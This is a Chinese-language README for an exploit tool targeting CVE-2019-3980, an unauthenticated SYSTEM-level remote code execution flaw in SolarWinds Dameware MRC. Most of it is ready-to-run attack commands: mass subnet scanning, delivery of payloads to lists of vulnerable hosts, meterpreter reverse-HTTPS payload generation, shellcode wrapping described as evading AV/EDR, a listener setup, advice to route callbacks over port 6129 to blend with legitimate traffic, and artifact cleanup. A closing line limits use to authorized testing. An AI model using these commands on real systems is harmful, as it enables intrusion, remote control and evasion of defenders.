
SolarWinds Dameware MRC 智能卡认证绕过导致未认证 RCE
CVE-2019-3980 | CVSS 9.8 严重 | TCP/6129
原始研究与 POC:Tenable, Inc. (TRA-2019-43)
Python 3 工具:David Boyd (@Fir3d0g)
Dameware MRC 在 TCP/6129 上暴露远程控制服务(DWRCS.exe)。在智能卡认证握手期间,服务器接受攻击者控制的文件作为智能卡驱动安装程序(dwDrvInst.exe),并以 SYSTEM 权限执行,无需任何认证。
DameFlare 实现了完整的协议握手流程(版本协商 → AES 密钥派生 → Diffie-Hellman 密钥交换 → RSA 签名 → 驱动上传),以投递任意载荷并实现未认证远程代码执行。
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| Dameware MRC 12.0.x | 所有构建版本 | Hotfix 1 |
| Dameware MRC 12.1.x | 所有构建版本 | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
利用后从目标上移除 dwDrvInst.exe 残留文件:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
需要在 PATH 中包含 msfvenom。会上传一个自删除 EXE,在短延迟后移除 dwDrvInst.exe 并自行删除。
或者,如果你拥有凭据,可以使用诸如 NXC 之类的工具:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
使用环境密钥封装原始 shellcode,以规避 AV/EDR 沙箱分析。载荷只会在密钥匹配的机器上解密并执行。衷心感谢 Kevin Clark(@GuhnooPlusLinux)的出色工作!
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
注意: 载荷名称必须在 msfvenom 和监听器之间完全一致:
- 无分段:
windows/x64/meterpreter_reverse_https(下划线)- 分段:
windows/x64/meterpreter/reverse_https(斜杠)
提示: 在 Dameware 环境中,端口
6129通常被允许出站,并与合法的 DWRCS 流量混在一起。如果443被代理阻止或检查,可以尝试LPORT=6129,因为目标网络很可能被设计为允许该端口。
本工具仅用于授权的渗透测试和红队行动。作者对未经授权或非法使用不承担任何责任。